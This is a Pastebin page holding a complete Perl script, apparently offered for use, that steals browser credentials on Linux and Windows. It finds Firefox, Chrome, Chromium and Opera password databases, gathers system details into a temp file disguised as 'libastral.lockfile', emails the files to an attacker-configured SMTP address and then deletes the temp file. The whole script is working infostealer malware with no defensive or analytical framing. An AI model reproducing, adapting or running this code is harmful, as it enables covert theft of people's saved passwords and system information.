Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl -X
- use Mail::Sender;
- use Encode;
- use File::Find::Rule;
- $|=1;
- my $from = 'REPLACE@DOMAIN';
- my $to = 'REPLACE@DOMAIN';
- my $server = 'REPLACE';
- my $port = REPLACE;
- $user = 'REPLACE';
- $password = 'REPLACE';
- my $subject = 'Message';
- my $message = "Here we go:\n";
- $linux=1 if $ENV{HOME};
- $windows=1 if $ENV{APPDATA};
- if($linux)
- {
- @need_files =
- (
- "2>/dev/null find ~/.mozilla/firefox/ -name key3.db",
- "2>/dev/null find ~/.mozilla/firefox/ -name signons.sqlite",
- "2>/dev/null find ~/.config/chromium/Default -name 'Login Data'",
- "2>/dev/null find ~/.config/google/chrome/Default -name 'Login Data'",
- "2>/dev/null find ~/.opera/ -name wand.dat",
- );
- for($i=0;$i<=$#need_files;$i++)
- {
- open(SEARCH,"$need_files[$i] |");
- while(<SEARCH>)
- {
- s/[\r\n]//g; $files[$#files+1] = $_ if ! m/^$/ && -r $_;
- }
- close(SEARCH);
- }
- @need_data =
- (
- "2>/dev/null uname -a",
- "2>/dev/null whoami",
- # "2>/dev/null ifconfig -a",
- "2>/dev/null cat /proc/cpuinfo",
- # "2>/dev/null cat /etc/shadow",
- );
- for($i=0;$i<=$#need_data;$i++)
- {
- open(DATA,"$need_data[$i] >> /tmp/libastral.lockfile |");
- close(DATA);
- }
- $files[$#files+1] = "/tmp/libastral.lockfile" if -o "/tmp/libastral.lockfile";
- }
- if($windows)
- {
- $home = $ENV{APPDATA};
- # Encode::from_to($home,"cp1251","cp866");
- @need_files =
- (
- "dir $home\\Mozilla\\Firefox\\ \/s \/b \| find \"key3.db\"",
- "dir $home\\Mozilla\\Firefox\\ \/s \/b \| find \"signons.sqlite\"",
- "dir $home\\Opera\\ \/s \/b \| find \"wand.dat\"",
- "dir \"$home\\..\\Local\\Google\\Chrome\\User Data\\Default\\\" \/s \/b \| find \"Login Data\"",
- "dir \"$home\\..\\Local\\Chromium\\User Data\\Default\\\" \/s \/b \| find \"Login Data\""
- );
- @found = File::Find::Rule->file()->name( 'key3.db' )->in( "$home\\Mozilla\\Firefox\\" );
- $_ = $found[0]; s/[\r\n]//g; $files[$#files+1] = $_ if ! m/^$/; # && -r $_;
- @found = File::Find::Rule->file()->name( 'signons.sqlite' )->in( "$home\\Mozilla\\Firefox\\" );
- $_ = $found[0]; s/[\r\n]//g; $files[$#files+1] = $_ if ! m/^$/; # && -r $_;
- @found = File::Find::Rule->file()->name( 'wand.dat' )->in( "$home\\Opera\\" );
- $_ = $found[0]; s/[\r\n]//g; $files[$#files+1] = $_ if ! m/^$/; # && -r $_;
- @found = File::Find::Rule->file()->name( 'Login Data' )->in( "$home\\..\\Local\\Google\\Chrome\\User Data\\Default\\" );
- $_ = $found[0]; s/[\r\n]//g; $files[$#files+1] = $_ if ! m/^$/; # && -r $_;
- @found = File::Find::Rule->file()->name( 'Login Data' )->in( "$home\\..\\Local\\Chromium\\User Data\\Default\\" );
- $_ = $found[0]; s/[\r\n]//g; $files[$#files+1] = $_ if ! m/^$/; # && -r $_;
- open(DATA,"ipconfig |");
- while(<DATA>)
- {
- $message .= $_;
- }
- close(DATA);
- }
- $sender = new Mail::Sender
- {
- smtp => $server, from => $from, port => $port, auth => 'LOGIN', authid => $user, authpwd => $password
- };
- if ($#files>-1)
- {
- $sender->MailFile({
- to => $to,
- subject => $subject,
- msg => $message,
- file => \@files
- })
- }
- else
- {
- $sender->MailMsg({
- to => $to,
- subject => $subject,
- msg => $message
- })
- }
- open(RM,"rm -f /tmp/libastral.lockfile |") if $linux;
- close(RM) if $linux;
Add Comment
Please, Sign In to add comment